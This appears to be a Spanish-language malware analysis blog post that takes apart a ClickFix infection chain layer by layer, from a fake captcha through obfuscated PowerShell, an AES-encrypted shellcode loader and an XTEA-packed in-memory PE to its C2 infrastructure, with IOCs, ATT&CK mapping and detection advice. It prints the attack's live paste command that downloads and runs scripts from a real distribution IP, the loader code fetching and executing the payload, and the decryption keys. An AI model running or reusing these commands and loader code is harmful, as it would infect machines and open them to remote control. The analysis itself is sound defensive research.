El mensaje llegó con una captura borrosa y una línea de texto: “me pidió verificar que no era un robot”. La línea de texto era esta:
set "__VSCMD_WIN_64BIT=true"&& cd %tmp%& curl.exe -sLo %tmp%\angle.txt 1319076821/333&& curl.exe -sLo %tmp%\Z881.ps1 1319076821/334&& for /f "delims=" %i in (angle.txt) do %i
Ciento setenta y cuatro caracteres. Para quien lo pegó era un trámite; para mí era el primer eslabón de una cadena de cinco capas que termina con un ejecutable de casi 8 MB corriendo en memoria, sin tocar el disco, conectado a un C2 que cambia de nombre cada cuatro a ocho días. Este post es la autopsia completa: cada capa, cómo la abrí y qué dejó ver. Todo fue análisis estático: no ejecuté ni un byte de la muestra.
toddloftindds[.]com/nfront.php y queda esperando órdenes. Familia sin confirmar. El C2 (109.238.86[.]137) lleva al menos desde el 15 de octubre de 2026 rotando dominios, y la cadena tiene 0 detecciones en VirusTotal hasta el PE final (4/71).Tabla de identificación#
| Etapa | Archivo | Tamaño | SHA-256 |
|---|---|---|---|
| Lanzador | angle.txt | 50 B | 395e4603…b38d4960 |
| PowerShell ofuscado | Z881.ps1 | 593 KB | 7cb7a73d…c95b8eac (análisis en VT) |
| PowerShell decodificado | (en memoria) | 25 KB | eb4b40f0…5c03194f |
| Blob cifrado | tsts.bba | 7.89 MB | 341480c3…178c3d11 (análisis en VT) |
| Shellcode (tras AES) | (en memoria) | 7.89 MB | 463da774…f8e49d77 (análisis en VT) |
| PE final (tras XTEA) | (en memoria) | 7.88 MB | 92beff66…59eed7b6 (análisis en VT) |
Los hashes completos están en IOCs; cada enlace abre el reporte de VirusTotal. angle.txt y el PowerShell decodificado no tienen ficha en VirusTotal: el primero es una línea de texto y el segundo solo existe en memoria.
Severidad que le asigno: ALTA . Es un backdoor fileless con C2 activo y detección casi nula, y la víctima ejecuta la cadena con sus propios privilegios.
flowchart TD
A["Anuncio malicioso"] --> B["Página en pantalla completa<br/>Fullscreen + Keyboard Lock"]
B --> C["Captcha falso:<br/>Win+R → Ctrl+V → Enter"]
C --> D["cmd: curl.exe a 1319076821<br/>(78.159.131.213)"]
D --> E["angle.txt<br/>powershell -w h -ep bypass"]
D --> F["Z881.ps1<br/>diccionario de 16 palabras"]
E --> F
F --> G["Ventana WPF falsa<br/>'Cloudflare – Verifying you are human'"]
F --> H["DownloadData: tsts.bba"]
H --> I["AES-256-CBC"]
I --> J["Shellcode x64<br/>VirtualAlloc → VirtualProtect → CreateThread"]
J --> K["XTEA-ECB, 32 rondas"]
K --> L["PE64 MinGW en memoria"]
L --> M["POST toddloftindds[.]com/nfront.php"]1. El cebo: un anuncio y un navegador que no te deja ir#
La víctima no buscaba nada raro. Navegaba sin bloqueador de anuncios, hizo clic en uno y la pestaña se puso sola en pantalla completa. Esc no funcionaba. Tuvo que mantenerlo apretado varios segundos para que el navegador cediera.
Eso no es un bug: es una API. Chrome y Edge permiten que una página llame a requestFullscreen() y, además, a navigator.keyboard.lock(). Con el teclado bloqueado, un toque de Esc ya no sale de pantalla completa; el navegador exige mantenerlo presionado. Está pensado para juegos y escritorios remotos. Para un estafador es una jaula: la víctima queda frente a una sola cosa en toda la pantalla, que parece venir del sistema y no de una pestaña.
Lo que había dentro de la jaula era una variante de esto (la víctima recordaba otros colores, pero el mismo texto):

Los enlaces del anuncio que la víctima conservaba daban 404 cuando los revisé. Es lo esperable: estas cadenas pasan por un TDS (traffic distribution system) que filtra por país, user-agent y referrer, y sirve la página maliciosa una sola vez. Al analista que llega después le muestra una página vacía.
Lo que hace funcionar a ClickFix no es la técnica, que es trivial, sino a quién le asigna el trabajo. El navegador tiene sandbox, el correo tiene filtros, los adjuntos tienen Mark-of-the-Web. Nada de eso aplica cuando el usuario mismo abre Win+R y pega. Ningún control revisa un proceso que el propio usuario lanzó desde explorer con sus credenciales. El ataque no rompe la frontera: convence a la persona de cruzarla con el paquete en la mano.
set, y la ventana Ejecutar (Win+R) no interpreta builtins de cmd como set o for. Lo más probable es que el portapapeles llevara un prefijo (cmd /c o similar) que se perdió al copiarlo para mí. El %i con un solo % confirma que está pensado para una línea de comandos de cmd, no para un .bat.2. Etapa 1: el comando, eslabón por eslabón#
| Fragmento | Qué hace | Para qué |
|---|---|---|
set "__VSCMD_WIN_64BIT=true" | Define una variable que no usa nadie | Señuelo. Imita las variables de la consola de desarrollador de Visual Studio (VsDevCmd): para el ojo humano y para reglas que buscan texto, el comando “parece de desarrollo”. |
cd %tmp% | Se mueve a %LOCALAPPDATA%\Temp | Directorio escribible sin privilegios. |
1319076821 | Es una IP en decimal | 78·2²⁴ + 159·2¹⁶ + 131·2⁸ + 213 = 78.159.131.213. curl (vía inet_aton) acepta el formato y, sin esquema, asume HTTP en claro. Un filtro que busca \d+\.\d+\.\d+\.\d+ no ve nada. |
curl.exe -sLo … | Descarga silenciosa, siguiendo redirecciones | curl.exe viene de serie desde Windows 10 1803. Es un LOLBin: no aparece powershell, ni Invoke-WebRequest, ni bitsadmin. |
/333 → angle.txt, /334 → Z881.ps1 | Dos descargas | Rutas correlativas: el servidor parece tener “slots” numerados de payloads. |
for /f "delims=" %i in (angle.txt) do %i | Ejecuta cada línea del archivo como un comando | La pieza más fina del comando, explicada abajo. |
El for /f es la parte que más me gustó. angle.txt contiene exactamente una línea:
powershell.exe -w h -nop -ep bypass -File Z881.ps1
La palabra powershell nunca pasa por el portapapeles. Lo que la víctima pega, lo que queda en RunMRU y lo que una regla de detección leería en la línea de comandos del primer proceso es un cmd con curl y un for. El PowerShell llega después, desde un archivo de texto, como hijo de cmd.exe. Separar el qué se ejecuta del qué se pega es la misma idea que el atacante repite en cada capa siguiente.
Las cabeceras HTTP del servidor (nginx) dicen que angle.txt se modificó por última vez el 4 de noviembre de 2026 a las 10:52 GMT, y Z881.ps1 y el blob final a las 15:48 GMT del mismo día. La campaña estaba viva y se estaba actualizando mientras la analizaba.
3. Cómo traje las muestras sin que ellas me trajeran a mí#
Descargar del servidor de un atacante no es neutro. El operador ve la IP, el user-agent y la hora de cada petición, y un C2 bien hecho distingue entre una víctima y un analista. Mi regla para esta parte fue simple: el C2 solo ve infraestructura desechable, y nada de lo que baja se ejecuta nunca.
- Salí a internet por un VPS de pruebas, no por mi conexión ni por mi red.
- Cada descarga corrió en un contenedor efímero con el sistema de archivos en solo lectura, sin capabilities y montando solo un directorio vacío para la salida.
- Usé el user-agent que espera el servidor (
curl/8.xpara las dos primeras, el de PowerShell para el blob). Estos servidores suelen servir basura o un 404 a quien no parece la víctima. - Bajé solo lo que la cadena pide:
/333,/334ytsts.bba. No enumeré los slots vecinos. - Calculé los hashes al descargar y dejé todo en solo lectura.
docker run --rm --network host --read-only --cap-drop ALL --security-opt no-new-privileges --user "$(id -u):$(id -g)" -v "$PWD/out:/out" curlimages/curl:8.10.1 -sS -L --max-time 30 --max-filesize 50000000 -A "curl/8.9.1" -D /out/334.headers -o /out/334.bin "http://1319076821/334"
Después, cada capa la abrí con un script propio en Python que solo transforma bytes: no evalúa nada, no llama a PowerShell ni ejecuta código de la muestra. Los cinco scripts están en la sección correspondiente.
4. Etapa 2: Z881.ps1 y el diccionario de dieciséis palabras#
Z881.ps1 pesa 593 KB y es una sola línea. Empieza así (recortado):
$fMlDFeMCsrJ=@(-88519,-88503,-88488,-88497,-88490,-88486,-88536,-88494,-88491,-88503,-88495);
$rrrAHJqyds='';for($kbvZUiKzW=0;$kbvZUiKzW -lt $fMlDFeMCsrJ.Length;$kbvZUiKzW++){
$rrrAHJqyds+=[char]([int64]$fMlDFeMCsrJ[$kbvZUiKzW]+88602);};
...
$miNsWNblxuJw=[type]$rrrAHJqyds;
$tlIqEuBqbS = $miNsWNblxuJw.GetMethod($puKVEEXX, [type[]]@([string]));
$iZuodSDg='seizure Golgi replevisable phanerozonate desmocytoma unguentiferous pleasers outmarch bebop hemoscopy altropathy commentation ophthalmorrhexis Cat zabaiones yomim';
$yogbspJR='pleasers pleasers outmarch unguentiferous pleasers zabaiones pleasers phanerozonate ...
Hay dos trucos encadenados.
Cadenas armadas con aritmética. Ningún nombre sensible aparece literal. Cada uno es un arreglo de enteros negativos más un desplazamiento: -88519 + 88602 = 83 = 'S'. Los dos primeros arreglos dan ScriptBlock y Create, y el script los usa por reflexión ([type]"ScriptBlock", .GetMethod("Create")) para no escribir nunca [ScriptBlock]::Create ni Invoke-Expression.
Un alfabeto de palabras. La variable $iZuodSDg contiene 16 palabras raras (seizure, Golgi, replevisable, phanerozonate…). Dieciséis es exactamente la cantidad de valores de un nibble. El payload, $yogbspJR, son ~600 KB de esas mismas palabras repetidas. Cada palabra vale su índice en el alfabeto, cada par de palabras forma un byte (alto << 4 | bajo) y el resultado se decodifica como UTF-8 y se ejecuta con ScriptBlock.Create.
La razón de usar palabras en vez de Base64 es que Base64 tiene una firma estadística inconfundible: un bloque largo de [A-Za-z0-9+/] con entropía alta delata ofuscación a cualquier heurística. Una lista de palabras en inglés parece texto. La entropía cae, los detectores de “blob codificado” no saltan y el archivo pesa 24 veces más que su contenido real. Es esteganografía de pobre, y le alcanza.
El decodificador replica el algoritmo sin ejecutar nada:
import re, sys
src = open(sys.argv[1], encoding="utf-8", errors="replace").read()
strs = dict(re.findall(r"\$(\w+)='([a-zA-Z ]+)'", src))
splits = re.findall(r"\$(\w+) = \$(\w+)\.Split\(", src)
alpha = strs[splits[0][1]].split() # las 16 palabras
data = strs[splits[1][1]].split() # el payload
idx = {w: i for i, w in enumerate(alpha)}
out = bytes((idx[data[i]] << 4) | idx[data[i+1]] for i in range(0, len(data) - 1, 2))
open(sys.argv[2], "wb").write(out)
Salen 25 KB de PowerShell, otra vez con todas las cadenas armadas por aritmética. Un segundo script sustituye cada arreglo por su texto y deja el código legible.
5. Etapa 3: el Cloudflare de mentira#
La mitad final del PowerShell decodificado es una interfaz gráfica: XAML cargado con [Windows.Markup.XamlReader]::Load() sobre PresentationFramework. Una ventana sin bordes, sin ícono en la barra de tareas y centrada en pantalla:
<Window ... Title="CloudTrust Auth" WindowStyle="None" ShowInTaskbar="False" Background="#1E1E24">
<Path Fill="#F38020" Data="M19.35,10.04C18.67,6.59 ..."/> <!-- una nube naranja -->
<TextBlock Text="Cloudflare" FontSize="36" FontFamily="Segoe UI Light"/>
<TextBlock Text="Verifying you are human. This may take a few seconds."/>
<ProgressBar Name="pBar" Foreground="#F38020"/>
<Button Name="btnAccept" Content="Verify" IsEnabled="False"/>
</Window>
#F38020 es el naranja de la marca Cloudflare. Un DispatcherTimer avanza la barra un 1 % cada 20 ms; a los dos segundos, al llegar al 100 %, llama a una función llamada SJInvojvo y después, en teoría, activa el botón “Verify”.
En la práctica, si leo bien el flujo, ese botón nunca se activa: SJInvojvo termina en while($true){Start-Sleep -Seconds 30} y no retorna. La ventana queda congelada en el 100 %, con el botón gris, mientras el payload corre en otro hilo. Para la víctima es “Cloudflare que se colgó”. Para el atacante es una pantalla que mantiene ocupada la atención durante los segundos que importan.
La ventana no hace nada malicioso por sí misma. Su función es narrativa: la víctima acaba de pegar algo en Win+R porque una página se lo pidió, y necesita ver que “la verificación” ocurre. Si en ese momento no apareciera nada, alguien desconfiaría y apagaría el equipo. Así que el malware le dibuja exactamente lo que espera ver.
6. Etapa 4: el loader que nunca toca el disco#
SJInvojvo es un loader de shellcode clásico, escrito con algo de cuidado:
Add-Type -TypeDefinition 'public static class TR1991 {
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(...);
[DllImport("kernel32.dll")] public static extern bool VirtualProtect(...);
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(...);
[DllImport("kernel32.dll")] public static extern IntPtr GetConsoleWindow();
[DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
[DllImport("user32.dll")] public static extern IntPtr GetAncestor(IntPtr hWnd, uint gaFlags);
}'
# 1. esconder la consola: GetAncestor(hwnd, GA_ROOTOWNER) → ShowWindow(..., SW_HIDE)
# 2. descargar
$blob = (New-Object System.Net.WebClient).DownloadData('http://78.159.131.213/yrjrs/tsts.bba') # vía reflexión
# 3. descifrar: AES-256-CBC, PKCS7, IV = primeros 16 bytes del blob
$aes.Key = [Convert]::FromBase64String("2/ljh+oixOUfrPUfse4/ebEI8AWKknJoNw3J6KUP0yA=")
# 4. ejecutar
$p = [TR1991]::VirtualAlloc(0, $len, 0x3000, 0x04) # MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE
[Runtime.InteropServices.Marshal]::Copy($sc, 0, $p, $len)
[TR1991]::VirtualProtect($p, $len, 0x40, [ref]$old) # PAGE_EXECUTE_READWRITE
[TR1991]::CreateThread(0, 0, $p, 0, 0, [ref]$tid)
while($true){ Start-Sleep -Seconds 30 }
Hay tres detalles que me interesan:
- Reserva RW y después cambia a RWX, en vez de pedir
PAGE_EXECUTE_READWRITEdirectamente. Muchos EDR vigilanVirtualAlloccon permisos de ejecución; el cambio posterior conVirtualProtectesquiva las reglas más ingenuas, aunque no a las que siguen la secuencia completa. Add-Typese invoca desde una instancia aparte de PowerShell ([PowerShell]::Create().AddCommand("Add-Type")). Es otra capa de indirección: el script principal nunca contiene la llamada directa, y la claseTR1991igual queda disponible porque el ensamblado se carga en el mismo proceso.- El
while($true)final mantiene vivo el proceso. Si PowerShell terminara, el hilo del shellcode moriría con él.
El blob tsts.bba se descifra sin problema: la clave está en el script y el IV en el propio archivo.
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import padding
import base64, sys
key = base64.b64decode("2/ljh+oixOUfrPUfse4/ebEI8AWKknJoNw3J6KUP0yA=")
blob = open(sys.argv[1], "rb").read()
dec = Cipher(algorithms.AES(key), modes.CBC(blob[:16])).decryptor()
pt = dec.update(blob[16:]) + dec.finalize()
u = padding.PKCS7(128).unpadder(); pt = u.update(pt) + u.finalize()
open(sys.argv[2], "wb").write(pt)
Lo que sale son 7.89 MB que empiezan con eb 15 50 e8 0a 00 00 00. No es un PE, es código.
7. Etapa 5: el shellcode y su caja fuerte XTEA#
Desensamblado, el inicio del shellcode es un GetPC de manual: un call seguido de leer la dirección de retorno del stack, para que el código sepa dónde está cargado y pueda direccionar sus propios datos sin depender de la base.
0x00: jmp 0x17
0x02: push rax ; helper: rax = dirección absoluta de un offset
0x03: call 0x12
...
0x17: push rbp
0x1f: movabs rax, 0x0 ; call 0x2 → rbx = base del shellcode
0x31: movabs rax, 0xa5 ; call 0x2 → r9 = base + [0xa5]
0x48: movabs rax, 0x8d ; call 0x2 → r8 = &config[0x8d] (clave)
0x5a: movabs rax, 0xa1 ; call 0x2 → edx = [0xa1] (tamaño)
0x6b: movabs rax, 0x9d ; call 0x2 → rcx = base + [0x9d] (datos)
0x83: call 0xa9 ; main(datos, tamaño, clave, extra)
Los argumentos de main apuntan a un bloque de configuración incrustado justo después del código de arranque, en el offset 0x8d:
| Offset | Valor | Significado |
|---|---|---|
0x8d | 35761912c13ffb47acb84edc1a7ff299 | clave de 128 bits |
0x9d | 0x00000e50 | inicio de los datos cifrados |
0xa1 | 0x007e2000 | tamaño (0xe50 + 0x7e2000 = el archivo entero) |
Antes de desensamblar main probé lo barato: XOR con la clave repetida y RC4. Ninguno dio un MZ. Buscar constantes conocidas en el código resolvió el resto: aparecen 0x9e3779b9, el delta de la familia TEA/XTEA (la parte fraccionaria de la razón áurea, que delata a TEA en cualquier binario), y 0xedb88320, el polinomio de CRC32. La función en 0xc3a es un descifrado XTEA de libro: 32 rondas, bloques de 8 bytes, modo ECB, (s >> 11) & 3 y s & 3 para elegir la subclave.
import struct, sys
blob = open(sys.argv[1], "rb").read()
key = struct.unpack("<4I", blob[0x8d:0x9d])
off, size = struct.unpack_from("<I", blob, 0x9d)[0], struct.unpack_from("<I", blob, 0xa1)[0]
data = bytearray(blob[off:off + size]); M, D = 0xFFFFFFFF, 0x9E3779B9
for i in range(0, len(data) - 7, 8):
v0, v1 = struct.unpack_from("<2I", data, i); s = (D * 32) & M
for _ in range(32):
v1 = (v1 - ((((v0 << 4) ^ (v0 >> 5)) + v0) ^ (s + key[(s >> 11) & 3]))) & M
s = (s - D) & M
v0 = (v0 - ((((v1 << 4) ^ (v1 >> 5)) + v1) ^ (s + key[s & 3]))) & M
struct.pack_into("<2I", data, i, v0, v1)
open(sys.argv[2], "wb").write(data)
Primeros bytes: 4d 5a 78 00. MZ. El resto del shellcode es un cargador reflectivo: mapea secciones, resuelve imports (los hashes de 32 bits del código, como 0x6ae69f02 o 0xa1d45974, son nombres de API hasheados) y salta al entry point. El PE nunca existe como archivo en el disco de la víctima.
Una nota honesta sobre el método: un primer MZ en el offset 980 del shellcode me hizo perder unos minutos. Era una coincidencia dentro del código, no una cabecera, y la única referencia a PE\0\0 era el cmp con el que el propio cargador verifica la firma. Con entropía 8.0 en todo lo que viene después del stub, lo correcto era asumir cifrado desde el principio.
8. El PE final: lo que dice el sandbox y lo que no#
| Propiedad | Valor |
|---|---|
| Formato | PE32+ GUI, x86-64, 7 secciones |
| Compilador | MinGW-w64 (UCRT) |
| Timestamp | 2026-06-25 07:54:22 UTC (falsificable) |
| Versión declarada | “Fresh Forge” — Fresh Metric Current Coach / Plan Metric Coach Module, 6.15.102.1363 |
.text | 7.4 MB, entropía 5.9 |
| Imports | casi nada: threadpool, VirtualAlloc/Protect/Query, CRT |
La metadata es basura generada: nombres de producto que suenan a software pero no existen, un patrón típico de los crypters comerciales. Sin URLs, sin rutas de navegador, sin wallets en las strings. Siete megas de .text inflado y casi ningún import: otra capa de empaquetado, que descifra su configuración en tiempo de ejecución. Desarmarla de forma estática requiere Ghidra y tiempo. Antes de eso, miré lo que vieron los sandboxes públicos (CAPE y Zenbox, vía VirusTotal):

Lo que sí hace:
GET https://ipinfo.io/what-is-my-ip: geolocaliza a la víctima.POST https://toddloftindds.com/nfront.php: se registra en el C2.- TLS a
apapg.com(detrás de Cloudflare). Ese dominio también aparece en la memoria del proceso: es parte de la configuración, no ruido del sandbox. - Cinco firmas de inyección en procesos (T1055), lectura de la configuración de proxy del sistema y
SetProcessMitigationPolicy.

Lo que no hace: no abre Login Data, ni cookies de Chrome o Firefox, ni carpetas de wallets. INetCookies\ESE es la caché normal de WinINet. Las DLLs que busca en el escritorio (IPHLPAPI.DLL, urlmon.dll…) son el orden normal de búsqueda de DLLs de Windows, no un sideloading, aunque el sandbox lo marque como T1574.

Con eso, la descripción honesta es: un loader o backdoor que se registra en el C2 y espera órdenes. En el sandbox no recibió ninguna. Puede que detectara el entorno, o que el C2 solo entregue la siguiente etapa a víctimas que pasen su filtro. No hay forma de saber cuál de las dos desde fuera. Las categorías MBC de “Credential Access” y “Collection” que lista VirusTotal vienen de firmas genéricas, no de robo observado.
Por eso no le pongo nombre de familia. El patrón (ClickFix con un Cloudflare falso, loader fileless, geolocalización y check-in por HTTPS) es el de muchos infostealers y RATs de 2025-2026, pero un patrón no es una atribución. Ya me pasó con Grandoreiro: la etiqueta de un sandbox es una hipótesis, y la atribución se gana con evidencia convergente. Aquí todavía no la tengo.
9. La infraestructura que muda de piel#
El passive DNS de VirusTotal confirma que toddloftindds.com resuelve a 109.238.86.137 (AS201738, Ufo Technologies Limited, Reino Unido). El dominio se registró hace tres días, con Dominet (HK). La parte interesante es todo lo que resolvió antes a esa misma IP:
| Primera resolución | Dominio | Detecciones VT |
|---|---|---|
| 2026-09-10 | 109.238.86.137.sslip[.]io | 0/92 |
| 2026-10-15 | minnarasanen[.]com | 17/92 |
| 2026-10-16 | walinternet[.]com | 0/92 |
| 2026-10-24 | mesoncord[.]com | 10/92 |
| 2026-10-28 | redjaxfire[.]com | 7/92 |
| 2026-11-01 | toddloftindds[.]com | 1/92 |

Es el mismo servidor desde al menos mediados de octubre, con un dominio nuevo cada cuatro a ocho días. El dominio en uso es siempre el que menos detecciones tiene, porque los vendors todavía no lo alcanzan. Bloquear dominios aquí es perseguir a alguien que se cambia de abrigo cada semana; la IP dura más.
apapg.com cuenta otra historia. Tiene resoluciones desde 2016, pero su fecha de creación es de hace seis días: es un dominio expirado y re-registrado (con NiceNIC), detrás de Cloudflare desde el 29 de octubre. Comprar dominios viejos para heredar su reputación es una táctica conocida: un dominio con historia de ocho años despierta menos sospecha que uno nacido ayer.

Los grafos de relaciones de VirusTotal muestran cómo se conecta todo. Desde Z881.ps1 se llega a la IP de distribución, al blob cifrado, al C2 y a ipinfo; desde el PE final, al mismo C2, a apapg.com y a las IPs de Cloudflare que lo esconden:


flowchart LR
subgraph Distribución
D1["78.159.131.213<br/>AS215540 · RU<br/>/333 · /334 · /yrjrs/tsts.bba"]
end
subgraph C2
C1["109.238.86.137<br/>AS201738 · GB"]
T["toddloftindds[.]com<br/>/nfront.php"] --> C1
R["redjaxfire · mesoncord ·<br/>walinternet · minnarasanen<br/>(dominios anteriores)"] -.-> C1
A["apapg[.]com<br/>re-registrado · Cloudflare"]
end
D1 -->|"payload"| V["Víctima"]
V -->|"check-in HTTPS"| T
V -->|"TLS"| ALos dominios anteriores están relacionados porque comparten IP; no los observé en esta muestra. Si alguien los incorpora a sus bloqueos, que lo haga sabiendo que es un pivote y no una observación directa.
10. Lo que ven los antivirus: casi nada#
Consulté en VirusTotal cada hash de la cadena el 4 y 5 de noviembre de 2026:
| Artefacto | Detecciones |
|---|---|
tsts.bba (cifrado) | 0/59 |
Shellcode descifrado (463da774…) | 0 |
PE final (92beff66…) | 4/71 |
IP de distribución 78.159.131.213 | 1/92 (su tráfico coincide con Spamhaus DROP) |
IP de C2 109.238.86.137 | 3/92 |
toddloftindds.com | 1/92 |
apapg.com | 9/92 |

Las primeras subidas son de la tarde del 4 de noviembre: Z881.ps1 a las 18:30 UTC (con cinco envíos desde entonces) y el PE a las 18:43. El shellcode descifrado lo subió alguien como shit2.exe. No sé quién recorrió la cadena antes que yo; por el orden y los tiempos, parece otro analista o una plataforma automática.
Cada capa de esta cadena existe para que el escaneo estático llegue tarde. Un AV que inspecciona tsts.bba ve ruido AES. Uno que inspecciona Z881.ps1 ve una lista de palabras. El PE solo existe en memoria. La detección que funciona aquí es por comportamiento, en el momento en que cada capa tiene que desnudarse para ejecutarse.
11. IOCs#
hxxp, [.]). 34.117.59.81 (ipinfo.io) y las IPs de Cloudflare que aparecen en los sandboxes no son IOCs: bloquearlas rompe servicios legítimos.Red
# Distribución
78.159.131[.]213 AS215540 Global Connectivity Solutions LLP (decimal: 1319076821)
hxxp://78.159.131[.]213/333 angle.txt
hxxp://78.159.131[.]213/334 Z881.ps1
hxxp://78.159.131[.]213/yrjrs/tsts.bba shellcode cifrado
# C2
hxxps://toddloftindds[.]com/nfront.php check-in (POST)
toddloftindds[.]com → 109.238.86[.]137
109.238.86[.]137 AS201738 Ufo Technologies Limited
apapg[.]com C2 secundario (re-registrado, Cloudflare)
# Pivote por IP compartida (no observados en esta muestra)
redjaxfire[.]com mesoncord[.]com walinternet[.]com minnarasanen[.]com
Archivos (SHA-256)
395e4603ffa23e99a732918380dd700f94507d28b6bb4327f6c4e48eb38d4960 angle.txt
7cb7a73d1a0003bae21599c97fd52f5d764222da5902c166f57092fcc95b8eac Z881.ps1
eb4b40f0e543bc6d1b1e7073dab67be4975bbe09ac76cd278bd5a3965c03194f PowerShell decodificado
341480c351a2c64b875827c8755003672f8aa00ac4bc22c0b032b03d178c3d11 tsts.bba
463da7747cb9c3af0ccca1a16c7380e2b098e4cae72e51cf9344fb65f8e49d77 shellcode
92beff66bfcd62a9456cdb6bacc2ce1bb059cb610a393baca54339ef59eed7b6 PE final
Host
%TEMP%\angle.txt
%TEMP%\Z881.ps1
Strings: __VSCMD_WIN_64BIT · "CloudTrust Auth" · clase Add-Type "TR1991" · función "SJInvojvo"
AES: 2/ljh+oixOUfrPUfse4/ebEI8AWKknJoNw3J6KUP0yA=
XTEA: 35761912c13ffb47acb84edc1a7ff299
PE: OriginalFilename fresh_metric_current_coa · CompanyName "Fresh Forge"
Evidencia en VirusTotal
Los enlaces van a las fichas de VirusTotal, no a la infraestructura del atacante.
- Archivos: Z881.ps1 · tsts.bba · shellcode · PE final (comportamiento)
- IPs: 78.159.131.213 · 109.238.86.137 (passive DNS)
- Dominios: toddloftindds.com · apapg.com
- Pivote por IP compartida: redjaxfire.com · mesoncord.com · walinternet.com · minnarasanen.com
12. MITRE ATT&CK#
| Táctica | Técnica | En esta cadena |
|---|---|---|
| Initial Access | T1189 Drive-by Compromise | malvertising → página ClickFix |
| Execution | T1204.004 Malicious Copy and Paste | Win+R → Ctrl+V → Enter |
| Execution | T1059.003 Windows Command Shell | cmd con for /f |
| Execution | T1059.001 PowerShell | -w h -nop -ep bypass -File |
| Command and Control | T1105 Ingress Tool Transfer | curl.exe, WebClient.DownloadData |
| Defense Evasion | T1027 Obfuscated Files or Information | IP decimal, diccionario de 16 palabras, cadenas aritméticas |
| Defense Evasion | T1036 Masquerading | variable de Visual Studio, ventana de Cloudflare, metadata “Fresh Forge” |
| Defense Evasion | T1140 Deobfuscate/Decode Files | AES-256-CBC, XTEA |
| Defense Evasion | T1620 Reflective Code Loading | shellcode y PE en memoria |
| Defense Evasion | T1564.003 Hidden Window | ShowWindow(SW_HIDE), -w h |
| Defense Evasion | T1055 Process Injection | sandbox (5 firmas) |
| Discovery | T1016 System Network Configuration Discovery | ipinfo.io/what-is-my-ip, proxy |
| Command and Control | T1071.001 Web Protocols | POST /nfront.php sobre HTTPS |
13. Detección y respuesta#
El comando. curl.exe con un destino numérico sin puntos (una IP en decimal) es una señal limpia y casi sin falsos positivos. Lo mismo vale para cmd.exe con for /f … do %i sobre un archivo de %TEMP%, y para un proceso hijo de explorer.exe que aparece justo después de una entrada nueva en HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU.
El PowerShell. powershell.exe -w h -nop -ep bypass -File con el script en %TEMP%, hijo de cmd.exe. Y sobre todo Script Block Logging (Event 4104): el diccionario de palabras llega al motor ya decodificado, porque PowerShell no puede ejecutar la lista, tiene que ejecutar el texto. Es exactamente el caso de El log que se desofusca solo: lo que delata a esta etapa no es lo que esconde, sino el instante en que tiene que dejar de esconderlo. Un script que carga PresentationFramework y además declara VirtualAlloc + CreateThread vía Add-Type no tiene casi ninguna explicación legítima.
La memoria. VirtualProtect a PAGE_EXECUTE_READWRITE sobre memoria privada desde powershell.exe, seguido de CreateThread hacia esa región. Esta es la familia de comportamientos que repasé en Anatomía de una capacidad (Parte 1): anti-análisis y loaders.
La red. Consultas DNS a ipinfo.io o api.ipify.org desde procesos que no son navegadores (hay regla Sigma pública para esto). Tráfico a 109.238.86.137 y 78.159.131.213: las IPs viven más que los dominios.
El usuario. Un bloqueador de anuncios corta el vector de entrada. Ninguna verificación legítima pide pegar algo en Win+R, en la terminal o en PowerShell. Si una página no deja salir de pantalla completa, se mantiene Esc o se cierra con Alt+F4, y no se sigue ninguna instrucción que aparezca en ella. En entornos gestionados, se puede restringir Win+R por GPO para usuarios que no lo necesitan.
Si ya se ejecutó: aislar el equipo de la red; cambiar las contraseñas desde otro dispositivo (correo primero, después banco y redes) y cerrar todas las sesiones abiertas; mover fondos de cualquier wallet. Y reinstalar. Es un backdoor que espera órdenes: lo que haya recibido después del check-in no está en este análisis, y como nada de la cadena toca el disco, un escaneo limpio no prueba nada.
La víctima hizo una sola cosa mal: no bloqueó un anuncio. Todo lo demás lo hizo el diseño: una API pensada para juegos convertida en jaula, un captcha que enseña el atajo de teclado, un comando que no dice powershell, un script que parece un diccionario, una ventana que dice Cloudflare y un ejecutable que nunca existe como archivo. Cada capa está pensada para que el control que la mira llegue un segundo tarde.
Después de cinco capas, la que importa todavía está cerrada. El PE final espera una orden que el sandbox no recibió y que yo tampoco voy a ver desde aquí. Sé cómo entra, cómo se esconde y a quién llama. Lo que hace cuando le contestan sigue siendo una pregunta abierta, y prefiero dejarla abierta antes que llenarla con el nombre de una familia que no puedo probar.
Análisis estático reproducido localmente: descarga desde un contenedor aislado por un VPS de pruebas, decodificación con scripts propios que no ejecutan la muestra. Comportamiento dinámico del PE final tomado de los sandboxes públicos de VirusTotal (CAPE, Zenbox). Infraestructura vía passive DNS de VirusTotal. Las herramientas de APT115 sirven para repetir el triage PE offline en el navegador.
commit 0xC1F1X0
Date: 2026-11-05 03:14 AM
peel 5 layers: dict->aes->xtea->pe, c2 still breathing